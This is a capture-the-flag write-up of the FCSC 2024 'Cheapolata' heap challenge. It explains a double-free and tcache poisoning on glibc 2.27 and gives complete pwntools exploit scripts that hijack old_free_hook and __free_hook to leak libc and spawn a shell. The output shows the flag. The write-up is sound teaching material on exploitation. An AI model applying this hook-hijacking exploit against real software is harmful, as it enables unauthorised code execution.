[FCSC 2024] Pwn - Cheapolata

6 minute read

Introduction

In the context of the FCSC 2024 (France Cybersecurity Challenge), I had the opportunity to test a PWN challenge named Cheapolata.

According to the description of the challenge, our goal is to read a file named flag.txt.

Nothing too complicated to setup, we are given 3 files:

  • libc.so.6
  • ld-2.27.so
  • cheapolata
  • cheapolata.c

To link the binary with the linker and the libc, I simply used a tool named pwninit:

1$ pwninit --bin cheapolata --ld libs/ld-2.27.so --libc libs/libc.so.6

Cheapolata is an amd64 ELF binary with the following protections: RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE

We can deduct from the challenge name that we will be dealing with a heap related challenge.

TL;DR

Use double free vulnerability to:

  • Overwrite old_malloc_hook with printf and leak libc
  • Overwrite __free_hook with system and spawn shell

Setup

Those are the tools I used for this challenge:

  • Binary Ninja
  • Pwntools 4.9.0
  • Pwninit 3.3.0
  • Python 3.11.2

Finding the bug

I won’t dive too deep in the source code since there are lots of things but here is what you need to know:

This is the decompilation of the main function:

 1int
 2main()
 3{
 4int ret;
 5size_t size;
 6unsigned int cnt_free;
 7  
 8cnt_free = 0;
 9while(1) {
10	menu();
11	switch(read_long()) {
12		case 1:
13		printf("Size: ");
14		size = read_long();
15		if (size > 0x40) {
16			fprintf(stderr, "Error: size too large.\n");
17			exit(EXIT_FAILURE);
18		}
19  
20		a = malloc(size);
21		if (!a) {
22			errExit("malloc error");
23		}
24  
25		printf("Content: ");
26		read_string(a, size);
27		break;
28  
29		case 2:
30		if (cnt_free < 6) {
31			free(a);
32			cnt_free++;
33		}
34		break;
35  
36		case 3:
37		return EXIT_SUCCESS;
38	}
39}
40  
41return EXIT_SUCCESS;
42}

As you can see, we have two choices:

  • The first choice calls the malloc function with a size that we specify (which must be less than 0x40 bytes). Then, the program reads data inside it and sets the value of the variable a to our newly created chunk.
  • The second choice allows us to free the chunk which the variable a points to.

Another thing worth noting is that we can only free 6 chunks which we surely be annoying to exploit our program later.

Last but not least, there is a specific thing about this challenge:

 1static void free_hook(void *ptr, const void *caller);
 2static vid (*old_free_hook)(void *ptr, const void *caller);
 3  
 4static __attribute__ ((constructor)) void
 5init_hook(void)
 6{
 7	old_free_hook = __free_hook;
 8	__free_hook = free_hook;
 9}
10  
11static void
12free_hook(void *ptr, const void *caller)
13{
14	void *result;
15	size_t size = chunksize(mem2chunk(ptr));
16  
17	__free_hook = old_free_hook;
18  
19	if (size < MAX_FREE_SIZE) {
20		free(ptr);
21	} else {
22		errExit("free error: too large");
23	}
24  
25	old_free_hook = __free_hook;
26	__free_hook = free_hook;
27  
28	return result;
29}

As you may know, it’s common in heap exploitation to hijack __free_hook or __malloc_hook because they allow you to redirect the code execution when free or malloc are called. Both of these pointers are in the libc and we would need a leak of the libc to know their addresses but in the case of our challenge, __free_hook was put in the binary itself. Since there is no Position Independant Execution (PIE) in the challenge, we don’t need a leak to know the address of this pointer.

The vulnerability

In this challenge, the vulnerability lies in the feature which allow us to free a chunk. And for good reason: the program does not check if a chunk has already been freed. This bug has a name: a double free vulnerability.

On top of this, the libc’s version of the challenge is 2.27 (which is quite old) and there are no checks regarding this vulnerability.

Let me break down the vulnerability for you:

Here is an example of a double free

1chunk1 = malloc(0x20); // returns 0x603690
2free(chunk1); // tcache[0x20]: 0x603690 <- 0
3free(chunk1); // tcache[0x20]: 0x603690 <- 0x603690
4
5chunk2 = malloc(0x20) // returns 0x603690
6(void *)chunk2 = 0xdeadbeefdeadbeef // tcache[0x20]: 0x603690 <- 0xdeadbeefdeadbeef
7chunk3 = malloc(0x20) // returns 0x603690
8chunk4 = malloc(0x20) // returns 0xdeadbeefdeadbeef
9

So as you can see, we can make malloc return an arbitrary pointer. In this challenge, we will use this to overwrite __free_hook and control the execution flow.

Leaking the LIBC

Like often in CTFs, our goal here is to spawn a shell. To do this, we need a leak of the libc which will be quite tricky since we don’t have control upon any variable that is printed out.

One way to leak the libc would be to:

  • hijack __free_hook with printf
  • malloc a chunk with a formatter ("%p” for example) inside it to leak data
  • free the recently malloced chunk because free(a); will actually do printf(a);

meme_de_neurchi

Here is how I managed to do it using python:

 1from pwn import *
 2
 3  
 4elf = ELF('./cheapolata', checksec=False)
 5libc = ELF('./libs/libc.so.6', checksec=False)
 6global p
 7  
 8def add(size, content):
 9	p.recvuntil(b">>> ")
10	p.sendline(b"1")
11	p.recvuntil(b"Size: ")
12	p.sendline(size)
13	p.recvuntil(b"Content: ")
14	p.sendline(content)
15  
16def free():
17	p.recvuntil(b">>> ")
18	p.sendline(b"2")
19
20  
21p = process(['stdbuf', '-o', '0', './cheapolata'])
22  
23#p = remote("challeges.france-cybersecurity-challenge.fr", 2106)
24    
25add(b"20", b"chunk20")
26free()
27free() # double free
28
29add(b"20", p64(elf.sym['old_free_hook'])) # put old_free_hook in tcachebins, I'll explain why I didn't use directly __free_hook after the code section
30  
31add(b"20", b"junk") # junk
32add(b"20", p64(elf.plt.printf)) # put printf in old_free_hook
33add(b"20", "%25$p"# formatter 25 prints a libc address
34
35free() # Triggers __free_hook
36
37libc.address = int(p.recvuntil(b"==", drop=True),0) - 621607
38info("libc @0x%hx" % libc.address)
39
40p.interactive()

Here is the output of this snippet:

1$ python exploit.py
2[+] Starting local process './cheapolata': pid 133028
3[*] libc @0x7ffff7800000
4[*] Switching to interactive mode
5$  

As you may have seen, I didn’t directly use __free_hook but old_free_hook (which has the same purpose) because __free_hook doesn’t point to 0x0 by default and caused the tcache[0x20] to be filled with garbage data that we can’t get rid of.

Spawning our shell

To spawn my shell, I used the same technique as for my leak but instead, I setup it to call the system function with ‘/bin/sh’ as the first argument. The methodology is the same:

  • hijack __free_hook with system
  • malloc a chunk with ‘/bin/sh\0’ inside it
  • call free so that it does system(b’/bin/sh\0’)

Another thing to note is that we won’t malloc chunk of 0x20 byte but rather of 0x30 bytes, allowing us to have 2 different tcache and thus, to overwrite two times __free_hook (it’s not possible to free a chunk after overwriting the hook so we have to setup the double free at the start of our script)

 1from pwn import *
 2
 3
 4elf = ELF('./cheapolata', checksec=False)
 5libc = ELF('./libs/libc.so.6', checksec=False)
 6global p
 7
 8def add(size, content):
 9    p.recvuntil(b">>> ")
10    p.sendline(b"1")
11    p.recvuntil(b"Size: ")
12    p.sendline(size)
13    p.recvuntil(b"Content: ")
14    p.sendline(content)
15
16def free():
17    p.recvuntil(b">>> ")
18    p.sendline(b"2")
19
20
21p = process(['stdbuf', '-o', '0', './cheapolata'])
22
23
24add(b"20", b"chunk20")
25free()
26free() 
27
28
29add(b"30", b"chunk30")
30free()
31free()
32
33"""
34
35leak libc
36
37"""
38
39add(b"20", p64(elf.sym['old_free_hook']))
40add(b"20", b"junk") # junk
41add(b"20", p64(elf.plt.printf)) # put puts in free hook
42add(b"20", b"%25$p")
43free()
44
45libc.address = int(p.recvuntil(b"==", drop=True),0) - 621607
46info("libc @0x%hx" % libc.address)
47
48
49"""
50
51call system
52
53"""
54
55add(b"30", p64(elf.sym['__free_hook']))
56add(b"30", b"junk")
57add(b"30", p64(libc.sym.system))
58add(b"20", b"/bin/sh\0")
59free()
60
61p.interactive()

here is the output of our masterclass:

1$ python exploit.py              
2[+] Starting local process 'cheapolata': pid 133863
3[*] libc @0x7ff523000000
4[*] Switching to interactive mode
5$ cat flag.txt
6FCSC{fl4g_h0m3m4d3_c4r_p4s_d3_w1f1}

Thanks for reading and huge thanks to the ANSSI for this awesome challenge !!